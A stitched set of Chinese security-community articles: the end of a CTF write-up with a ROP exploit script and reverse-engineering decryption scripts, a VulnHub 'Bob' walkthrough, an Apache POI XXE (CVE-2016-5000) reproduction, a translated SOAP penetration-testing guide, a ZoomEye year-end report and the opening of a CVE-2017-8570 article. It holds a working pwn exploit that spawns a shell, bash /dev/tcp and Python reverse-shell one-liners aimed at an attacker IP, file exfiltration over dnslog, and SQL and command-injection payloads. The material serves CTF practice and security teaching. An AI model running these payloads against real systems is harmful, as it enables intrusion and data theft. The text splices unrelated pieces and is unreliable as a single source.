pop_rdi_ret = 0x4007c3
pop_rsi_r15_ret = 0x4007c1
# 往bss中写入 /bin/sh\x00
sleep(3)
payload = b'A' * 0x58 + p64(pop_rsi_r15_ret) + p64(bss) + p64(0) + p64(elf.plt['read'])
payload += p64(pop_rsi_r15_ret) + p64(elf.got['alarm']) + p64(0) + p64(elf.plt['read']) # 改写alarm的值
payload += p64(pop_rsi_r15_ret) + p64(0x601050) + p64(0) + p64(elf.plt['read']) # 这里调用read是为了控制rax为0x3b
payload += p64(0x4007BA) + p64(0) + p64(1) + p64(elf.got['alarm']) + p64(0) + p64(0) + p64(bss) + p64(
0x4007A0) # 通过ret2csu控制其他参数
p.sendline(payload)
sleep(0.5)
p.sendline(b'/bin/sh\x00')
sleep(0.5)
p.send(b'\xd5') # 改写alarm到syscall'
sleep(0.5)
p.send(b'C' * 0x3b) # 使得rax=0x3b
p.sendline('cat /flag')
p.interactive()
## re
### TacticalArmed
根据main函数和`sub_4011F0`可以注意到 这是一个shellcode动态生成器，每一轮会复制新的汇编语句，然后执行一句后返回，期间保存寄存器信息
大概执行了这些关键shellcode 从而定位到此可能为TEA算法
;忽略部分代码
sub ecx, 0x7E5A96D2
;忽略部分代码
shr edx, 0x5
;忽略部分代码
shl edx, 0x4
然后key 在 `405000` 在TLS_CALLBACK 用利用`int 2d`检测调试器 替换key。
经过调试发现 此不为标准算法：
此TEA算法有33轮，并且每轮TEA加密后的sum 不会清0
最终写出exp
#include <windows.h>
void my_TEA_decrypt(uint32_t* v, uint32_t* k,uint32_t sum) {
uint32_t v0 = v[0], v1 = v[1], i; /* set up */
uint32_t delta = 0x7E5A96D2; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i <= 32; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum += delta;
} /* end cycle */
v[0] = v0; v[1] = v1;
}
void my_TEA_encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */
uint32_t delta = 0x7E5A96D2; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i <= 32; i++) { /* basic cycle start */
sum -= delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
printf("%lx,%lx,%d\n", v0, v1,i);
} /* end cycle */
v[0] = v0; v[1] = v1;
}
int main()
{
uint32_t test[2] = { 0x67616c66,0x6161617b };
uint32_t k[4] = { 0x7CE45630, 0x58334908, 0x66398867, 0xC35195B1 };
my_TEA_encrypt(test, k);
uint32_t r = 0;
uint32_t a = 0x7E5A96D2;
uint32_t fake_key[4] = { 0x22836719,0x0A5978C21 ,0x79573824,0x330B55EF };
uint32_t Enc[] = { 0x422F1DED, 0x1485E472, 0x035578D5, 0xBF6B80A2, 0x97D77245, 0x2DAE75D1, 0x665FA963, 0x292E6D74,
0x9795FCC1, 0x0BB5C8E9 };
char key[41] = { 0 };
for (int i = 0; i < 33; i++) {
r -= a;
}
my_TEA_decrypt(Enc, k,r);
for (int i = 0; i < 33; i++) {
r -= a;
}my_TEA_decrypt(Enc+ 2, k,r);
for (int i = 0; i < 33; i++) {
r -= a;
}my_TEA_decrypt(Enc + 4, k,r);
for (int i = 0; i < 33; i++) {
r -= a;
}my_TEA_decrypt(Enc + 6, k,r);
for (int i = 0; i < 33; i++) {
r -= a;
}my_TEA_decrypt(Enc +8, k,r);
memcpy(key, Enc, 40);
printf("%s", key);
}
### ror
程序逻辑非常简单，但是发现变换非常复杂
通过取出索引值发现每8组加密完成后的首个Enc 均为0
同时 程序会右移`j`或者左移 `8-j` 这明显只有一个保留数值，并且由于`j`与数组的相关性。猜测这种算法
每8个字母的`ascii`组成8*8矩阵，再进行一次置换得到Enc
于是写出exp:
sb = [0x65, 0x55, 0x24, 0x36, 0x9D, 0x71, 0xB8, 0xC8, 0x65, 0xFB,
0x87, 0x7F, 0x9A, 0x9C, 0xB1, 0xDF, 0x65, 0x8F, 0x9D, 0x39,
0x8F, 0x11, 0xF6, 0x8E, 0x65, 0x42, 0xDA, 0xB4, 0x8C, 0x39,
0xFB, 0x99, 0x65, 0x48, 0x6A, 0xCA, 0x63, 0xE7, 0xA4, 0x79]
table = [101, 8, 247, 18, 188, 195, 207, 184, 131, 123,
2, 213, 52, 189, 159, 51, 119, 118, 212, 215,
235, 144, 137, 94, 84, 1, 125, 244, 17, 255,
153, 73, 173, 87, 70, 103, 42, 157, 127, 210,
225, 33, 139, 29, 90, 145, 56, 148, 249, 12,
0, 202, 232, 203, 95, 25, 246, 240, 60, 222,
218, 234, 156, 20, 117, 164, 13, 37, 88, 252,
68, 134, 5, 107, 67, 154, 109, 209, 99, 152,
104, 45, 82, 61, 221, 136, 214, 208, 162, 237,
165, 59, 69, 62, 242, 34, 6, 243, 26, 168,
9, 220, 124, 75, 92, 30, 161, 176, 113, 4,
226, 155, 183, 16, 78, 22, 35, 130, 86, 216,
97, 180, 36, 126, 135, 248, 10, 19, 227, 228,
230, 28, 53, 44, 177, 236, 147, 102, 3, 169,
149, 187, 211, 81, 57, 231, 201, 206, 41, 114,
71, 108, 112, 21, 223, 217, 23, 116, 63, 98,
205, 65, 7, 115, 83, 133, 49, 138, 48, 170,
172, 46, 163, 80, 122, 181, 142, 105, 31, 106,
151, 85, 58, 178, 89, 171, 224, 40, 192, 179,
190, 204, 198, 43, 91, 146, 238, 96, 32, 132,
77, 15, 38, 74, 72, 11, 54, 128, 93, 111,
76, 185, 129, 150, 50, 253, 64, 141, 39, 193,
120, 79, 121, 200, 14, 140, 229, 158, 174, 191,
239, 66, 197, 175, 160, 194, 250, 199, 182, 219,
24, 196, 166, 254, 233, 245, 110, 100, 47, 241,
27, 251, 186, 167, 55, 143]
# for i in sb:
# print(table.index(i), end=",")
table = [0,181,122,206,37,108,7,223,0,251,124,38,75,62,134,154,0,255,37,144,255,28,56,176,0,231,60,121,225,144,251,30,0,204,179,51,78,145,65,222]
for j in range(0,len(table),8):
temp = []
for i in range(8):
r = bin(table[i + j]).lstrip("0b").rjust(8,"0")
# print(r)
tempstr = []
for elem in r:
tempstr.append(int(elem))
temp.append(tempstr)
# print(temp)
for c in range(8):
v = 0
for n in range(8):
v <<=1
v += temp[n][c]
print(chr(v),end="")
### 虚假的粉丝
理清程序逻辑后，始终没发现验证flag的地方 也没发现隐藏加载手段
按正常逻辑找到程序需要的key:
path = r"D:\Users\CShi\Desktop\music\f\\"
import re
import tqdm
for i in tqdm.trange(1, 5317):
filename = "ASCII-faded {}.txt".format(str(i).rjust(4, '0'))
file = path + filename
with open(file, "rb") as f:
result = f.read()
sub = "U"
r = [substr.start() for substr in re.finditer(sub, result)]
for c in r:
if result[c + 39] == 'S':
print i, c
得到4157 1118
第三个key随便输
虽然是字符画组成的音乐，考虑到可能输出是key，base64解码后得到
S3Cre7_K3y%20%3D%20Al4N_wAlK3R
Al4N_wAlK3R
输入后打开5135.txt
将文本缩小拿到 flag
BTW，此题更适合放到misc
### gghdl
本来以为又是一道虚拟机题目，进入main 发现这是`ghdl` 虚拟机
字符串搜索到了”Input Flag“，好像不是虚拟机或者说脚本代码被内联编译了
主要逻辑在`sub_2DCE0`，`case 5`的`v37 = *(_DWORD *)(a1 + 272);`是否等于44
是判断正确错误的条件，操作`*(_DWORD *)(a1 + 272);`的逻辑在`case 7`，对比的主要逻辑在`v15 =
sub_C140(v122, v119);`。`v119` 是`sub_231D0(&v120, (unsigned int)v14, 8LL);`
来的。`v14` 是`v14 = dword_DC460[v13];` 是Enc
进入`sub_231D0` 函数 此函数实际为二进制转换函数，只是0 相当于2 1 相当于3
`v122`未知 可能为输入变换而来。根据对输入的测试，发现输入值异或了`0x9c`
最终的exp：
enc = [0xD8, 0xDD, 0xCF, 0xDF, 0xC8, 0xDA, 0xE7, 0xAC,
0xAA, 0xAE, 0xA5, 0xAD, 0xA5, 0xAA, 0xAE, 0xB1,
0xFD, 0xFE, 0xFD, 0xF8, 0xB1, 0xA8, 0xAC, 0xFF,
0xA4, 0xB1, 0xA4, 0xAF, 0xAD, 0xA4, 0xB1, 0xFA,
0xAC, 0xFD, 0xAA, 0xFE, 0xAD, 0xA4, 0xAA, 0xA8,
0xA4, 0xAE, 0xFF, 0xE1]
xor = 0x9c
print(len(enc))
flag = ""
for i in range(len(enc)):
flag += chr(xor ^ enc[i])
print (flag)
# DASCTF{06291962-abad-40c8-8318-f0a6b186482c} | 社区文章 |
# 环境准备
靶机镜像下载地址： <https://download.vulnhub.com/bob/Bob_v1.0.1.ova>
kali 主机 IP ：196.168.10.128
Bob 靶机 IP ：196.168.10.129
# 信息收集
先使用 `nmap -sP 196.168.10.0/24` ，扫描同一网段下存活的主机。
发现靶机 IP 196.168.10.129。
接下来使用 `nmap -sS 196.168.10.129` ,扫描靶机的开放端口。
只开放了一个 80 端口，直接访问。
看上去是某个学校的主页。点击“ News”，来了解下这个学校最近发生了什么事？
这条最近的新闻大概说的是：最近学校被黑客入侵造成了一定的混乱，而校方采取了雇佣新的 IT 人员和禁止外部登陆的手段来处理这次事件。
我们点击“Login”，果然外部登陆被禁止了。
再从“ Contact Us”中了解下 IT 部门。
我们的主角 Bob 正在其中。
至此，我们对这个靶机已有了一个大概的认识，接下来将进行更深一步的探索。
# 后台扫描
使用御剑对其后台进行扫描。
发现了存在 robots.txt，直接进入。
依次访问这些链接。
一个命令执行页面，输入“whoami”有“www-data”的回显。看起来我们的突破口就在这，但是怕遗留什么信息，我们还是看下其他几个页面。
这是 Bob 对其他 IT 部门的人的留言，我们从中可以知道：服务器上运行有 Web Shell （就是我们刚刚发现的）、学校现在的主机是 Linux
。剩下的信息好像没有什么利用价值，也就不多说了。
# 反弹 shell
回到“dev_shell.php”，尝试用命令 `ls` ，回显 `Get out skid lol` 。看来一些命令是被 ban 掉了。
## bash 反弹
接下来尝试反弹 shell 。在主机上使用`nc -lvp 80`开启监听，尝试用 bash 反弹：`bash -i >&
/dev/tcp/196.168.10.128/80 0>&1` ，主机没有回显，同时网页也没有警告，猜测是没有权限执行。
## python 反弹
使用 `whereis python` 判断是否有 python 环境。
nice ！python 反弹一句话：
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("196.168.10.128",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
又被过滤了，猜测其过虑了什么？经过多次实验发现是“;”被过滤了。
那我们就用 `msfvenom` 获取没有“;”的反弹一句话。
再使用 `python -c 'import pty; pty.spawn("/bin/bash")'` 使页面变得更好看
使用命令 `ls -la` 我们还可以看到“dev_shell.php”页面同时存在源码泄露。
通过分析源码我们还可以获得更多的利用姿势，不过在这里就不细述了。
# 寻找 flag
在本机目录下查看发现了 flag.txt ，很显然要 root 权限才能查看。
接下来就是不断地寻找了，在 `home` 目录下我们看到了 bob 的文件夹，而其它三个则是 IT 部门中的其他三个成员。
进入 bob 文件目录，我们在 `Document` 下发现了有意思的东西：
“login.txt.gpg”是一个加密的 txt 文件，使用 `gpg -d login.txt.gpg` 尝试解码。
看来我们现在并没有权限使用命令 `gpg` ，所以我们继续查看其他文件。
“staff.txt”记录了 bob 对其他几个员工的看法：
看起来 Elliot 好像很喜欢和 Bob 对着干，我们等下可以去他的文件目录下看看。
Secrect 目录一路直下，最后在 notes.sh 中发现了一首藏头诗：
并提出密码“HARPOCRATES”。推测是之前“login.txt.gpg”的密码。
## 寻找用户
进入 Elliot 的目录，一眼就看到了“theadminisdumb.txt”，打开查看。
这个 Elliot 看不起 Bob 并将自己的密码改为了：theadminisdumb 。
使用命令 `su` 登陆用户，用 `gpg` 解锁之前的“login.txt.gpg”依旧出现了警告“gpg: decrypt_message
failed: No such file or directory”，难道是因为反弹会话窗口功能不足的问题吗？既然有了用户账号那会不会有 ssh 服务呢？
使用 `nmap -p- -sV 196.168.10.129` 对靶机端口进行更详细的扫描：
成功在25467端口发现了 ssh 服务！使用 ssh 登陆用户：
## get flag
用之前的密码解锁“login.txt.gpg”，得到 bob 的密码。
登陆 bob 账号成功 get flag 。 | 社区文章 |
### 概要
Apache POI 是一个对Mircrosoft Office系列文档进行解析的java类库，其3.13版本及以下在2016年8月被爆出在解析Office
openXML文档结构时，存在XML外部实体注入漏洞，漏洞编号cve-2016-5000。虽然漏洞披露信息中没有提及具体的漏洞利用方式，但提到了官方案例XLSX2CSV。因此，通过尝试构造payload文件并使用官方案例XLSX2CSV进行解析，复现了该漏洞。
### 构造payload文件
在payload文件的构造上，需要安利一个小工具oxml_xxe，具体安装配置过程不再赘述：
<https://github.com/BuffaloWill/oxml_xxe>
首先，以XLSX文件为例，可以通过将后缀修改为zip进行解压缩，解压后的目录结构如下：
可以通过搭建的oxml_xxe工具替换其中任意xml的内容，测试是否能够触发XML外部实体注入攻击。例如，将xl/workbook.xml中的内容替换。
通过不断尝试替换各个xml文件，发现将xl/wroksheets/sheet1.xml替换为payload，可以成功触发漏洞。
### 漏洞重现
为配合利用XXE漏洞实现文件读取，在本地创建了一个文件/Users/sanwenkit/readme.txt，接下来将尝试利用Apache
POI官方的poi-examples-3.13-20150929.jar解析构造的恶意xlsx文档payload，对文件内容进行读取，并通过dnslog（cloudeye）获取文件内容发送至远端服务器。
Apache POI官方的poi-examples-3.13-20150929.jar需要通过一些配置实现正常运行解析文件。
第一步需要下载依赖的jar包xmlbeans-2.4.0.jar、xmlbeans-xpath-2.4.0.jar，放入poi相关jar包相同目录
第二步需要对poi-examples-3.13-20150929.jar包的MANIFEST.MF进行更新，指定Main-class和Class-path。相关MANIFEST.MF文件内容如下：
Manifest-Version: 1.0
Ant-Version: Apache Ant 1.9.4
Created-By: 1.6.0_45-b06 (Sun Microsystems Inc.)
Built-By: andreas.beeker
Specification-Title: Apache POI
Specification-Version: 3.13
Specification-Vendor: The Apache Software Foundation
Implementation-Title: Apache POI
Implementation-Version: 3.13s
Implementation-Vendor-Id: org.apache.poi
Implementation-Vendor: The Apache Software Foundation
Main-Class: org.apache.poi.xssf.eventusermodel.XLSX2CSV
Class-Path: poi-3.13-20150929.jar poi-ooxml-3.13-20150929.jar poi-ooxml-schemas-3.13-20150929.jar poi-excelant-3.13-20150929.jar xmlbeans-2.4.0.jar xmlbeans-xpath-2.4.0.jar
更新jar包的命令为：
jar umf PATH_TO_MANIFEST poi-examples-3.13-20150929.jar
完成所有准备后，执行Apache POI示例程序程序对生成的恶意xlsx文档进行解析：
java -jar poi-examples-3.13-20150929.jar PATH_TO_PAYLOAD
解析结果如下图所示：
可以看到已经触发了漏洞，Apache POI将readme.txt文档中的内容“poi-xxe-demo”发送到了接收URL地址： | 社区文章 |
# 【技术分享】针对SOAP的渗透测试与防护
|
##### 译文声明
本文是翻译文章，文章来源：blog.securelayer7.net
原文地址：<http://blog.securelayer7.net/owasp-top-10-penetration-testing-soap-application-mitigation/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[shinpachi8](http://bobao.360.cn/member/contribute?uid=2812295712)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**SOAP概述**
简单对象访问协议（SOAP）是连接或Web服务或客户端和Web服务之间的接口。SOAP通过应用层协议（如HTTP，SMTP或甚至TCP）进行操作，用于消息传输。
图1 SOAP操作
它是基于xml语言开发的，它使用Web服务描述语言（WSDL）来生成Web服务之间的接口。如果客户端或用户的独立应用程序想要与Web服务连接，则它需要由应用程序生成的服务端点接口（SEI）。这些接口WSDL和SEI是使用自动化工具或手动生成的，它们具有平台无关性。通用描述，发现和集成（UDDI）是Web服务可以发布关于其服务的一个目录，用户可以提交他们的查询。
一个简单的SOAP消息包含:
* Envelope: 标识XML文档，具有名称空间和编码详细信息。
* 标题：包含标题信息，如内容类型和字符集等。
* 正文：包含请求和响应信息.
* 故障：错误和状态信息。
图2 SOAP请求和响应的示例
图2显示了SOAP请求和响应，其中Web服务请求用户的名称并回复消息。SOAP是一组被定义为执行某些操作的标准协议，因此它只传输请求的数据，无论请求是什么，如果它在其机制中被验证，它将有答复。
**常见SOAP漏洞：**
****
**SQL 注入：**
SOAP请求易受SQL注入攻击，提交参数作为变种 sql查询可以泄露敏感信息。
攻击前:
在执行攻击之前，必须知道Web服务的功能，如图3所示，可以看到以string作为输入的username参数。
图3请求功能分析
输入随机用户名以检查其操作，此时它回应用户名不存在的消息，这可以帮助执行具有可能性的攻击。
图4响应信息分析
攻击后：
下面显示的请求是一个攻击者试图通过在参数的位置传递一个sql查询来访问用户详细信息，数据库的错误消息将有助于猜测查询的内容。
图5数据库错误消息
图6 SQL注入请求
如果传递的查询成功中断了数据库语句查询，那么它将回应用户的信息。
图7 SQL注入响应
payload: SQL注入的payload是简单的变形查询，它使数据库获取详细信息，在上面的例子中，使用的数据库是My
SQL（来自Fig.5），它可能包含不同的表，知道所有表中的信息可能是不可能的，但是
在这种情况下可以访问某些字段。在图3中，SOAP消息正在使用结合用户名和1＝1的OR语句请求管理员帐户的详细信息，并且将其他所有内容标记为“–
”注释，这使得数据库显示所有用户的用户名和签名。在SQL注入中，可以有更多的可能性来执行攻击，例如具有“，”，“ –
”，“or””and”，“insert”或满足条件的任何其他组合查询的语句。
补丁 **：** 这种类型的攻击可以通过两种方式来进行防护与修复:
白名单：虽然列表只允许某些字符通过，但在此列表中添加admin等字符会使应用程序只接收列出的字符。
过滤：其中涉及通过删除不需要的字符（例如admin'OR'1 = 1''）来过滤用户输入 – 将被清理，以便只有admin通过它。
**命令注入**
命令注入是通常通过传递具有数据的命令以获得诸如目录结构，网站地图或甚至与web应用相关的敏感信息的攻击。
图8命令注入请求（1）
在上述lookupDNS web服务中，使用IP地址和命令ls进行请求，其列出了如下所示的应用的目录结构
图9命令注入响应（1）
在其他请求ping命令传递与IP地址ping主机，如下所示:
图10命令注入请求（2）
图11命令注入响应（2）
payload：对于这种类型的攻击，payload是与用户输入相结合的命令语句，但有些命令是常用的，有些是操作系统特定的，操作系统的类型是可以由HTTP可以看到的简单操作。
诸如ls，adduser，install，kill或join等命令可用于执行操作。
补丁：为了修补命令注入攻击，必须构建严格的验证机制，并且实现其功能，数据库对于包含攻击模式192.168.66.2; ls
和192.168.66.2＆amp; ＆amp; ping c1 localhost
进行验证，以便它只允许字母数字字符。在上述命令中，注入攻击包括特殊字符＆或;这将在服务端执行时分离命令和数据，因此必须开发考虑这些情况的函数功能。
**XML** **注入**
在XML注入类型的攻击中，SOAP消息的变形请求可以在数据库中进行更改，并对数据库造成严重损坏。
正常功能：创建用户函数在应用程序中创建新用户，这需要几个参数作为输入，如图12所示
****
图12 XML请求
响应将具有带有插入了用户名帐户的消息的return语句，如图13所示
图13 XML响应
攻击
在实际的XML注入中，代码的一部分被变形并与请求一起发送，使得代码将在另一侧执行，在图14中，创建用户功能被添加有附加代码以利用服务。
图14 变形的XML请求
从图15可以看出，web服务被执行具有插入了用户名帐户的消息的代码。该功能执行攻击者插入的参数，而不是实际请求。
图15 变形请求的响应
payload：这种类型攻击的有效载荷实际上是在另一端提交的参数，在这种情况下，创建用户XML标签被变形或添加了帐户Alice的详细信息并附加请求，以便它将执行它。
补丁：这种类型的攻击的补丁对createUser的标签字符串进行了严格的限制，它必须使用字符串的长度来定义，并且必须定义wsdl中createUser功能的次数或发生次数。
基于数据和解析器为用户输入开发清理机制，并且还使用文档类型定义（DTD）来验证尝试注入是最佳实践。
**SOAP** **操作欺** **骗**
每个HTTP请求都包含一个称为SOAP
Action的字段，用于执行在其内容中定义的操作。可能由攻击者改变内容，攻击者在客户端和服务器之间操作，一种绕过或中间人攻击。
下面显示的请求消息包含一个称为create user的功能，它可以在SOAP Action字段和SOAP主体中看到。
图16带有SOAP动作字段的SOAP请求
简单地变形（可能不是一个）可以改变其功能，如图17所示
图17 变形的SOAP动作的请求
在更改请求并将其传递到服务器后，请求将有一个响应，因为它似乎是合法的，并执行其操作删除帐户，可以在图18
图18 SOAP执行变形请求后的响应
payload：对于这种类型的攻击没有特定的有效载荷，SOAP动作字段被认为是目标，对功能的彻底分析可以提供执行攻击的线索。仅改变SOAP字段可能不足以执行攻击，它可能需要根据所执行的动作来改变请求消息。
补丁：为了防止这种类型的攻击，必须在HTTP请求中禁用SOAP Action字段（如createUser或deleteUser），或使用不容易猜到的SOAP
Action术语。有时可能需要在这样的事件中强制添加Action字段，开发人员必须考虑SOAPAction：“”（意味着SOAP消息的意图由请求的URI给出）的可能性或SOAP
Action：（空字段表示 消息的意图是不指示任何值或URI）。
**SOAP** **参数** **DOS** **攻** **击**
每个SOAP请求包含一个被传递以获取一些数据的参数，有一些请求，攻击者可以利用这些请求来执行拒绝服务攻击。
如果应用程序无法执行输入验证或没有参数的边界，可能导致缓冲区溢出，这将使服务不可用。
下图显示的参数用户名没有任何边界限制，因此任何一个都可以将任意长度的字符串传递给应用程序。
图19没有限制条件的SOAP请求
如果用户名有限制，那么它会有一些异常传递正确的字符串，这将使应用程序安全。
payload：这种类型的攻击的有效载荷是知道在请求中传递的数据类型，因此基于传递最大值或大值的数据类型可以是攻击的方式。
补丁：为了减轻这种类型的攻击，必须使用最小和最大长度或某些边界来定义参数，例如参数用户名包含5个最小值和35个字符串最大长度，可以在处理中轻松验证。
图20 带条件的SOAP请求
**W** **SDL** **泄** **露**
WSDL泄露不能被视为攻击，而是攻击的一个步骤，就像我们所知道的，所有WSDL都知道的包含Web服务的信息，有一些Web服务需要对诸如支付网关或正在收集敏感信息的服务等攻击者隐藏。
任何攻击者都可以通过在搜索引擎中输入“inurl：？wsdl”来搜索Web服务。
图21 wsdl搜索
图22 Web服务WSDL
补丁
用于数据的安全传输的Web应用程序从不依赖于其安全性如使得Web服务的URL,对于搜索引擎和公开内容是隐藏的，并且对诸如机密性，完整性和真实性的特征进行严格保持。
**参考链接：**
<https://www.owasp.org/index.php/Testing_for_Web_Services> | 社区文章 |
**作者：404实验室
日期：2021年1月21日**
在2020年，ZoomEye经历了一年的韬光养晦，在许多朋友多的帮助下，发布多次版本迭代更新。
3月上线了ip高精地理信息，让用户朋友们可以更深层次了解目标ip信息；
7月取消了API查询数据的数量限制，让用户朋友们可以随意查询数据；
9月上线了API-KEY，ZoomEye的开发朋友可以快捷用API-KEY来调用接口；
10月上线了搜索语法支持括号优先级，搜索目标ip的限制条件更多，用户随心定；
11月ZoomEye功能大爆发，支持数据订阅，302跳转，ip-rank，可视化查询，恶意ip标记功能；
12月上线了行业识别功能，为ip贴上众多tag，赋予数据灵魂，让数据不再仅仅是数据。
截止2021年年初，ZoomEye国外用户检索次数累计超3987万，国内用户检索次数累计超8983万！
随着 “ ZoomEye年终总结 ” 的发布，我们发布了全新的开源工具：ZoomEye-python。ZoomEye-python不仅可以使用户快捷获取数据，还可以被当做SDK直接添加到其他的开源项目中~
ZoomEye-python链接： <https://github.com/knownsec/ZoomEye-python>
## 一．ZoomEye搜索关键词排行榜top 10
ID | 关键词内容 | 链接
---|---|---
1 | app:"GoAhead WebServer" |
<https://www.zoomeye.org/searchResult?q=app%3A%22GoAhead%20WebServer%22>
2 | app:"mikrotik" |
<https://www.zoomeye.org/searchResult?q=app%3A%22mikrotik%22>
3 | app:"sonicwall" |
<https://www.zoomeye.org/searchResult?q=app%3A%22sonicwall%22>
4 | app:"easyn" | <https://www.zoomeye.org/searchResult?q=app%3A%22easyn%22>
5 | app:"apache" | <https://www.zoomeye.org/searchResult?q=app%3A%22apache%22>
6 | app:"hipcam" | <https://www.zoomeye.org/searchResult?q=app%3A%22tomcat%22>
7 | app:"zimbra" | <https://www.zoomeye.org/searchResult?q=app%3A%22zimbra%22>
8 | app:"hikvision" |
<https://www.zoomeye.org/searchResult?q=app%3A%22hikvision%22>
9 | app:"microsoft" |
<https://www.zoomeye.org/searchResult?q=app%3A%22microsoft%22>
10 | app:"tongda" |
<https://www.zoomeye.org/searchResult?q=app%3A%22tongda%22>
## 二．ZoomEye搜索服务排行榜top 10
ID | server | 链接
---|---|---
1 | server:"http" |
<https://www.zoomeye.org/searchResult?q=server%3A%22http%22>
2 | server:"httpd" |
<https://www.zoomeye.org/searchResult?q=server%3A%22httpd%22>
3 | server:"smtp" |
<https://www.zoomeye.org/searchResult?q=server%3A%22smtp%22>
4 | server:"ftp" | <https://www.zoomeye.org/searchResult?q=server%3A%22ftp%22>
5 | server:"embed" |
<https://www.zoomeye.org/searchResult?q=server%3A%22embed%22>
6 | server:"sonicwall" |
<https://www.zoomeye.org/searchResult?q=server%3A%22sonicwall%22>
7 | server:"snmp" |
<https://www.zoomeye.org/searchResult?q=server%3A%22snmp%22>
8 | server:"mysql" |
<https://www.zoomeye.org/searchResult?q=server%3A%22mysql%22>
9 | server:"nas" | <https://www.zoomeye.org/searchResult?q=server%3A%22nas%22>
10 | server:"pptp" |
<https://www.zoomeye.org/searchResult?q=server%3A%22pptp%22>
## 三．ZoomEye搜索国家排行榜top 10
ID | country | 链接
---|---|---
1 | country:"kr" | <https://www.zoomeye.org/searchResult?q=country%3A%22kr%22>
2 | country:"us" | <https://www.zoomeye.org/searchResult?q=country%3A%22us%22>
3 | country:"cn" | <https://www.zoomeye.org/searchResult?q=country%3A%22cn%22>
4 | country:"jp" | <https://www.zoomeye.org/searchResult?q=country%3A%22jp%22>
5 | country:"fr" | <https://www.zoomeye.org/searchResult?q=country%3A%22fr%22>
6 | country:"ru" | <https://www.zoomeye.org/searchResult?q=country%3A%22ru%22>
7 | country:"br" | <https://www.zoomeye.org/searchResult?q=country%3A%22br%22>
8 | country:"au" | <https://www.zoomeye.org/searchResult?q=country%3A%22au%22>
9 | country:"ar" | <https://www.zoomeye.org/searchResult?q=country%3A%22ar%22>
10 | country:"se" |
<https://www.zoomeye.org/searchResult?q=country%3A%22se%22>
## 四．ZoomEye搜索端口排行榜top 10
ID | 端口号 | 链接
---|---|---
1 | 80 | <https://www.zoomeye.org/searchResult?q=port%3A%2280%22>
2 | 21 | <https://www.zoomeye.org/searchResult?q=port%3A%2221%22>
3 | 443 | <https://www.zoomeye.org/searchResult?q=port%3A%22443%22>
4 | 81 | <https://www.zoomeye.org/searchResult?q=port%3A%2281%22>
5 | 22 | <https://www.zoomeye.org/searchResult?q=port%3A%2222%22>
6 | 60001 | <https://www.zoomeye.org/searchResult?q=port%3A%2260001%22>
7 | 8080 | <https://www.zoomeye.org/searchResult?q=port%3A%228080%22>
8 | 554 | <https://www.zoomeye.org/searchResult?q=port%3A%22554%22>
9 | 8443 | <https://www.zoomeye.org/searchResult?q=port%3A%228443%22>
10 | 8888 | <https://www.zoomeye.org/searchResult?q=port%3A%228888%22>
## 五．ZoomEye最受欢迎独家特性Top5
ID | 特性名称 | 链接
---|---|---
1 | ZoomEye-python | <https://www.zoomeye.org/discover#zoomeyepy>
2 | 恶意ip标记 | <https://www.zoomeye.org/discover#malware>
3 | 数据订阅 | <https://www.zoomeye.org/discover#subscribe>
4 | 行业识别 | <https://www.zoomeye.org/discover#industry>
5 | 高精地理位置 | <https://www.zoomeye.org/discover#highlevel>
## 六．ZoomEye新增协议
ID | 协议名称 | 链接
---|---|---
1 | Modbus | <https://www.zoomeye.org/searchResult?q=+port:502>
2 | AMI |
<https://www.zoomeye.org/searchResult?q=+port:5038%20+service:%22asterisk%22>
3 | Sanyo | <https://www.zoomeye.org/searchResult?q=app:%22Sanyo%20PLC-XU300%20projector%20http%20config%22>
4 | CoDeSys |
<https://www.zoomeye.org/searchResult?q=+port:2455%20+service:%22CoDeSyS%22>
5 | BACnet | <https://www.zoomeye.org/searchResult?q=+port:47808>
6 | PCWorx | <https://www.zoomeye.org/searchResult?q=+port:1962>
7 | Trimble | <https://www.zoomeye.org/searchResult?q=app:%22Trimble%20ics-device%20httpd%22>
8 | HART-IP | <https://www.zoomeye.org/searchResult?q=+port:5094>
9 | Lantronix | <https://www.zoomeye.org/searchResult?q=+port:30718>
10 | Bachmann |
<https://www.zoomeye.org/searchResult?q=app:%22Bachmann%20M1%20PLC%20httpd%22>
## 七．ZoomEye新增专题
ID | 专题名称 | 链接
---|---|---
1 | 工控 | <https://www.zoomeye.org/project?id=industry>
2 | 数据库 | <https://www.zoomeye.org/project?id=database>
3 | WAF | <https://www.zoomeye.org/project?id=waf>
4 | 防火墙 | <https://www.zoomeye.org/project?id=firewall>
5 | 路由器 | <https://www.zoomeye.org/project?id=router>
6 | DNS | <https://www.zoomeye.org/project?id=dns>
7 | 摄像头 | <https://www.zoomeye.org/project?id=camera>
8 | 网络存储 | <https://www.zoomeye.org/project?id=networkStorage>
9 | 认证 | <https://www.zoomeye.org/project?id=cert>
10 | 打印机 | <https://www.zoomeye.org/project?id=printer>
## 八．ZoomEye数据增长
* * * | 社区文章 |
### 前言
这篇文章的重点不是讲解2017-8570的利用，而是以2017-8570为例，来编写一个自动化的脚本来完成一些不必要的人工操作，避免重复劳动。
>
> CVE-2017-8570是一个PowerPoint演示文稿的漏洞，利用方法简单且危害较大。攻击者只需要将生成的恶意ppsx（ppsx是office2007版以后的演示文稿的保存格式）文档发送给用户，用户打开放映后就会中招。
>
> 攻击机ip：192.168.1.212
> 系统：kali linux
> 靶机ip：192.168.1.165
> 系统：windows 7
> 含有漏洞的office版本：office2010
>
> 影响范围：
> Microsoft Office 2007 Service Pack 3
> Microsoft Office 2010 Service Pack 2 (32-bit editions)
> Microsoft Office 2010 Service Pack 2 (64-bit editions)
